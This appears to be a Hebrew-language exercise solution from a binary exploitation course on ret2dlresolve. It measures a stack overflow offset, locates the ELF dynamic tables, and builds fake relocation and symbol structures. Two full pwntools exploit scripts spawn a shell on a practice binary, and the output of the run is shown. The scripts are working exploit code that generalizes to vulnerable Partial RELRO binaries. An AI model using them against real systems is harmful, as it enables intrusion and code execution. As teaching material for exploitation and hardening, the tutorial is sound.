6.4 ret2dlresolve פתרון
פתרון - ret2dlresolve על בינארי ללא leak¶
נעבור על התרגיל שלב אחרי שלב: קודם נאסוף את כל הרכיבים מהבינארי, אחר כך נבנה את הchain עם Ret2dlresolvePayload, ולבסוף נראה גם בנייה ידנית מלאה של המבנים כדי להבין מה קורה מתחת למכסה.
פתרון תרגיל 1 - מדידת ה-offset¶
מזינים תבנית מחזורית ומריצים תחת gdb:
בזמן הקריסה pwndbg מזהה את התבנית ומדפיס את ה-offset. או ידנית:
אז ה-offset הוא 72 בתים: 64 בתים של buf ועוד 8 בתים של saved rbp, ואז מגיעה return address. בדיוק כמו שציפינו.
פתרון תרגיל 2 - איתור הרכיבים בבינארי¶
בסיסי הטבלאות הדינמיות:
$ readelf -d ./vuln | grep -E 'JMPREL|SYMTAB|STRTAB'
0x0000000000000017 (JMPREL) 0x400490
0x0000000000000006 (SYMTAB) 0x400340
0x0000000000000005 (STRTAB) 0x4003a0
הכתובת של PLT0:
$ objdump -d -j .plt ./vuln | head -6
0000000000401020 <.plt>:
401020: ff 35 e2 2f 00 00 push QWORD PTR [rip+0x2fe2] # GOT[1]
401026: ff 25 e4 2f 00 00 jmp QWORD PTR [rip+0x2fe4] # GOT[2]
אז PLT0 = 0x401020. הגאדג'ט להכנת הארגומנט:
ואזור כתיב ל-.bss:
$ readelf -S ./vuln | grep -E '\.bss|\.data'
[24] .data PROGBITS 0000000000404000 ...
[25] .bss NOBITS 0000000000404010 ...
יש לנו הכל. הערכים המדויקים ישתנו מקומפילציה לקומפילציה, אבל pwntools תשלוף אותם לבד מה-ELF, אז לא נצטרך לקודד אותם קשיח.
פתרון תרגיל 3 - בניית המבנים המזויפים¶
נתחיל מהבנת המבנים ידנית, כי חשוב לראות את הבתים לפני שנותנים לספרייה לעשות את זה. שלושה דברים באזור הכתיב:
data+0 : "system\0" <-- the string the resolver looks up in libc
data+8 : Elf64_Sym { st_name, 0x12, ... } <-- aligned to 24 against SYMTAB
data+.. : Elf64_Rela { r_offset, r_info, 0 } <-- aligned to 24 against JMPREL
המבנה Elf64_Rela (24 בתים): r_offset הוא כתובת כתיב כלשהי (לשם הפותר יכתוב את התוצאה), r_info מקודד את אינדקס הסמל ואת הסוג, ו-r_addend אפס:
r_info = (sym_index << 32) | 7 # 7 = R_X86_64_JUMP_SLOT
fake_rela = p64(r_offset) + p64(r_info) + p64(0)
המבנה Elf64_Sym (24 בתים): רק st_name (אופסט למחרוזת מול STRTAB) ו-st_info=0x12 (כלומר STB_GLOBAL | STT_FUNC) חשובים:
לגבי החלוקה ב-24: reloc_arg = (rela_addr - JMPREL) / 24 ו-sym_index = (sym_addr - SYMTAB) / 24, ושתי החלוקות חייבות לצאת שלמות כי הפותר מכפיל אינדקס בגודל המבנה. אם אחת מהן לא מתחלקת, מזיזים את המבנה בכמה בתים של padding עד שהיא כן. וזה בדיוק אחד המקומות שבהם pwntools חוסכת לנו כאב ראש - היא בוחרת פריסה מיושרת, וגם דואגת ש-sym_index יהיה כזה שבדיקת הגרסאות של glibc תיפול על אפס תקין.
פתרון תרגיל 4 - הפעלה ופתיחת shell¶
הנה ה-exploit המלא והרץ עם Ret2dlresolvePayload:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./vuln')
offset = 72
rop = ROP(elf)
# build the fake structures for calling system("/bin/sh")
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
# step 1: read the fake structures into the area pwntools chose.
# without a length - rdx is still 0x200 from the original read, and that's enough.
rop.read(0, dlresolve.data_addr)
# step 2: return to PLT0 with the fake reloc_arg, and prepare rdi
rop.ret2dlresolve(dlresolve)
log.info('data_addr @ %#x', dlresolve.data_addr)
log.info(rop.dump())
payload = flat({ offset: rop.chain() })
p = process()
p.recvuntil(b'go\n')
p.sendline(payload) # the overflow that runs the ROP chain
p.sendline(dlresolve.payload) # the fake structures that get read into data_addr
p.interactive()
הרצה:
$ python3 exploit.py
[*] data_addr @ 0x404500
[*] 0x0000: 0x401263 pop rdi; ret
0x0008: ...
[+] Starting local process './vuln'
$ id
uid=1000(user) gid=1000(user) ...
$ ls
exploit.py vuln vuln.c
שני השלבים חייבים לקרות בסדר הזה: קודם ה-read שמניח את המבנים ב-data_addr, ורק אחר כך החזרה ל-PLT0. אם נהפוך את הסדר, הפותר יקרא זיכרון ריק ויקרוס. לגבי rdx: קראנו ל-rop.read בלי אורך בכוונה, כי לבינארי הזה אין גאדג'ט pop rdx. בזמן הקריאה השנייה rdx עדיין מחזיק את הערך 0x200 מה-read המקורי של הבינארי, וזה גדול בהרבה מאורך dlresolve.payload, אז הכל נקרא במלואו.
למה זה עבד / איך להכליל. לא היה לנו שום כתובת של libc, ובכל זאת קראנו ל-system. הסיבה: לא אנחנו מצאנו את system - הפותר הדינמי מצא אותה בשבילנו. כל מה שעשינו זה לזייף את שלושת המבנים שהוא קורא (Rela, Sym, מחרוזת), ולהצביע עליהם עם reloc_arg גדול. הטכניקה מתכללת לכל בינארי Partial RELRO בלי PIE שיש בו overflow, גאדג'ט pop rdi, ופונקציה לקריאת קלט לכתובת שנבחר. אם הבינארי היה PIE, היינו צריכים קודם לדלוף את בסיס הבינארי (לא בסיס libc), ואז לחזור על אותו תהליך עם כתובות יחסיות.
פתרון האתגר - בנייה ידנית לגמרי¶
הנה גרסה שבונה את המבנים ביד, בלי Ret2dlresolvePayload, כדי לראות את הכל חשוף. שימו לב לטיפול בalignment ל-24 ולבחירת מיקום שממנו בדיקת הגרסאות נופלת נכון:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./vuln')
JMPREL = elf.dynamic_value_by_tag('DT_JMPREL') # base of .rela.plt
SYMTAB = elf.dynamic_value_by_tag('DT_SYMTAB') # base of the symbol table
STRTAB = elf.dynamic_value_by_tag('DT_STRTAB') # base of the string table
plt0 = elf.get_section_by_name('.plt').header.sh_addr
pop_rdi = 0x401263
data = elf.bss(0x400) # spacious writable area in .bss
# layout: string, then a Sym aligned to 24 against SYMTAB, then a Rela aligned to 24 against JMPREL
binsh_str = data
sym_addr = data + 0x18
sym_addr += (SYMTAB - sym_addr) % 24 # align to 24 against SYMTAB
rela_addr = sym_addr + 24
rela_addr += (JMPREL - rela_addr) % 24 # align to 24 against JMPREL
sym_index = (sym_addr - SYMTAB) // 24
reloc_arg = (rela_addr - JMPREL) // 24
st_name = binsh_str + 8 - STRTAB # the "system" string sits right after "/bin/sh\0"
# the block we'll write to data
blob = b'/bin/sh\x00' + b'system\x00'
blob = blob.ljust(sym_addr - data, b'\x00')
blob += p32(st_name) + p8(0x12) + p8(0) + p16(0) + p64(0) + p64(0) # Elf64_Sym
blob = blob.ljust(rela_addr - data, b'\x00')
blob += p64(elf.bss(0x600)) + p64((sym_index << 32) | 7) + p64(0) # Elf64_Rela
# the ROP chain: read blob into data, then trigger the resolver.
# added with rop.raw so the return address from read flows straight into pop rdi.
rop = ROP(elf)
rop.read(0, data) # no length - rdx is still 0x200 from the original read
rop.raw(pop_rdi) # rdi -> "/bin/sh"
rop.raw(binsh_str)
rop.raw(plt0) # trigger the resolver
rop.raw(reloc_arg) # the fake reloc_arg
payload = flat({ 72: rop.chain() })
p = process()
p.recvuntil(b'go\n')
p.sendline(payload)
p.sendline(blob)
p.interactive()
למה זה עבד / איך להכליל. כאן בנינו במו ידינו את מה ש-pwntools בונה אוטומטית: המחרוזת, ה-Elf64_Sym שמצביע אליה, וה-Elf64_Rela שמצביע לסמל. הביטוי (SYMTAB - sym_addr) % 24 דוחף את המבנה קדימה עד שההפרש מ-SYMTAB מתחלק ב-24 בדיוק, וכך sym_index יוצא שלם. הסיבה שהחישוב הידני שביר יותר היא בדיקת הגרסאות: _dl_fixup ניגש ל-.gnu.version[sym_index], ואם האינדקס ענק, הגישה קוראת זיכרון זבל. הפריסה כאן ב-.bss נבחרה כך שהגישה נופלת על ערך שהוא אפס למעשה, אז הפותר מדלג על אימות הגרסה. אם על ה-glibc שלכם הגרסה הידנית קורסת בתוך הפותר, זו כמעט תמיד בדיקת הגרסה - ואז פשוט חוזרים ל-Ret2dlresolvePayload, שמחשבת מיקום שעובד.
תשובות לשאלות הבדיקה העצמית¶
- למה נכשל תחת Full RELRO? תחת
Full RELROהטוען פותר את כל הסמלים כבר בזמן הטעינה (BIND_NOW) ומסמן את כל ה-GOT קריאה-בלבד. אין lazy binding, אז אין מסלול ריצה דרך_dl_runtime_resolveשאפשר לזייף לו קלט. הטכניקה מתה במים. - למה אפשר לקרוא ל-system אם היא לא מיובאת? כי הפותר לא מוגבל לסמלים שהבינארי שלנו הכריז עליהם. הוא מקבל שם ומחפש אותו בכל טבלאות הסמלים של הספריות הטעונות. libc מייצאת את
system, אז ברגע שהמחרוזת המזויפת שלנו אומרת"system", הפותר מוצא אותה שם. - מה היה חסר עם PIE? עם PIE הכתובות
JMPREL,SYMTAB,STRTAB,PLT0והאזור הכתיב הן יחסיות לבסיס אקראי של הבינארי. היינו צריכים קודם לדלוף את בסיס הבינארי (לא בסיס libc), ורק אז לחשב את כל הכתובות היחסית אליו ולבנות את אותה chain.